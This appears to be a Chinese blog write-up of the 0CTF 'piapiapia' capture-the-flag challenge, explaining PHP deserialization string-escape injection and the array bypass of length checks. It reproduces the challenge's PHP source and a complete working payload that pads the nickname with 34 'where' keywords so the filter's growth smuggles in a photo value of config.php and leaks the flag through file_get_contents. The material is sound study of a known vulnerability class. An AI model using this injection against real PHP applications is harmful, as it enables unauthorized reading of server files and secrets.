0CTF – piapiapia php反序列化字符串逃逸

piapiapia

技巧补充

字符串逃逸

<?php
    class Name{
        public $username='admin';
        public $password='100';
    }

    $a = new Name;

echo serialize($a);
?>

输出结果为

O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"100";}

对 password 前一个属性 username 进行控制

<?php
    class Name{
        public $username='admin";s:8:"password";s:3:"101";}';
        public $password='100';
    }
    $a = new Name;
echo serialize($a);
?>

输出结果为

O:4:"Name":2:{s:8:"username";s:33:"admin";s:8:"password";s:3:"101";}";s:8:"password";s:3:"100";}

即完成了通过控制 username 对 password 的控制(admin属性名的长度会出错,实际显示的是包含输入的内容在内的总长度)

因此,若想要成功偷天换日用隔壁属性控制我们要控制的属性,就要想办法把数据变成合法的反序列化数据

字符串逃逸攻击可以形成的条件就是,对serialize()之后值进行过滤时,会造成某字段字符个数增多或者减少

当造成字符串增多时

示例:

<?php
      function filter($str){
              return str_replace('x','yy',$str);
        }
        
        $username = "Kobe";
        $password = "manba";
        $user = array($username,$password);
        
        $str1 = filter(serialize($user));

        var_dump(unserialize($str1));
?>

正常情况下反序列化字符串 $str1 的值为a:2:{i:0;s:4:”kobe”;i:1;s:5:”manba”;}

假如把username的值变为 kobexxx,当完成序列化,filter函数处理后的结果为 a:2:{i:0;s:7:”kobeyyyyyy”;i:1;s:6:”biubiu”;}

多了3个,数据有问题的

那干脆将计就计,就让他多,咱利用他会变多的特点,结合上面的示例,我们就利用 kobe 控制 manba

给赋值成 a:2:{i:0;s:24:”kobe”;i:1;s:6:”123456″;}”;i:1;s:6:”biubiu”;}

多出来的部分是 “;i:1;s:6:”123456”;} 数一下,20个字符串

如果就到此为止,数据还是错的,s:24会导致 kobe 后面还会再找下去,找齐 24 个,然后序列化数据的语法就错了

在 kobe 后面加上 10 个 x 就行了(对上面代码而言)再被替换成yy的时候,就会多出来20个字节的空间,把我们想控制的值挤到合法的位置上去

数组绕过字符串长度限制

参考这张表

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null

可见字节长度限制对数组类型的直接就木大了

开始解题

猜测是否有源码泄露,访问/www.zip (目录扫描也可以)

得到源码

代码批注(只节选php部分)

config.php

<?php
    $config['hostname'] = '127.0.0.1';      //要求本地访问aa
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';              //flag在这
?>

profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');  
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));     //危险函数,pop终点
?>

class.php

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

?>

update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');  
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');     //可用数组属性进行绕过

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];             //利用前一条属性进行反序列化注入
        $profile['photo'] = 'upload/' . md5($file['name']);     //photo经过md5,无法直接利用进行攻击

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

分析

config.php当中有flag,但貌似要读到 flag 需要本地进行访问(127.0.0.1)

初步推测有 ssrf 攻击的可能性(复习:ssrf 服务端请求伪造)

继续审计代码,发现危险函数 file_get_contents() 可以用来实现本机读文件,只需要控制photo的值就可以

那么本题其实为利用 php 反序列化结合字符串逃逸进行危险函数的控制

pop链

终点为函数 file_get_contents() 跟踪一下函数的photo值

photo 是 $profile 数组的一个键值,继续跟踪数组,观察到

$profile=$user->show_profile($username);

$profile 数组是从 user 类的 show_profile 方法传过来的,并且这个方法传入了 $username

继续跟踪 show_profile 方法(切换到class.php)

public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }

该方法使用了继承 mysql 这个父类来的 filter() 方法**(划重点,之后起到大作用)**还有 select() 方法

继续跟踪这两个方法

filter():

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

审计,功能为对 sql 语句的关键字 (select insert update delete where) 进行正则匹配并替换为 hacker**(伏笔)**

select():

public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

这个方法是一句 sql 语句,查询的,那自然要找什么时候插入的数据,直接再检索 insert 或者 update(其实就在下面)

找到 update() 的调用地方(insert没用)

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

在 user 类的 update_profile() 里进行了调用,同样进行了 filter() 函数调用,进行过滤

在 class.php 里的跟踪就到头了,该去找实际调用的起点了

来到update.php

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];             //利用前一条属性进行反序列化注入
        $profile['photo'] = 'upload/' . md5($file['name']);     //photo经过md5,无法直接利用进行攻击

$user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

这里对 $profile 进行了赋值,并在之后调用了 update_profile()

接下来只需要对 photo 的值进行控制,就可以利用整条链条达成攻击

but,photo的传参经过了md5,无法直接利用

这里用到了php反序列化的注入(在上一条属性值后直接写入下一个属性序列化之后的值)

要控制的属性的前一个属性为注入点,对 nickname 属性进行控制

payload部分为

";}s:5:"photo";s:10:"config.php";}

即可绕过 md5 的限制实现对 photo 的控制

又 but,nickname 属性对内容字节长度进行了限制,幸好技高一筹,用数组绕过

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');     //可用数组属性进行绕过

由此可见两个限制都被攻破,可直接利用链条进行攻击不会成功,因为进行字符串逃逸后属性名的长度会变化,在这里不能浑水摸鱼

那么不得不提刚刚的 filter() 方法,在对关键字替换时产生了一个可以利用的点

select insert update delete 这几个关键词都是6个字节,只有 where 是五个

而最终替换成的 hacker 是6 个,并且替换是全部进行替换

那么在对 where 进行替换时就会多产生一个字符出来

上述的内容一共为 34 个字符,在之后的反序列化数据中会使属性名长度产生 34 的误差,因此把属性名设定为 34 个where,便可消除误差

那么payload就变为了

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere}";}s:5:"photo";s:10:"config.php";}

这里多一个 } 是因为数组类型的变量在反序列化后还会包一层{}

之后直接注册登录,再来到update.php(传参点所在),随便输入,点击提交抓包,修改nicname为数组类型,写入 payload,发包

返回了一个页面。因为photo不再是图片,网页并不能成功渲染,那就查看源码

$photo = base64_encode(file_get_contents($profile['photo']));

返回这里查看,经过了 base64 ,将源码里面返回的photo值拿去解码即可获得flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇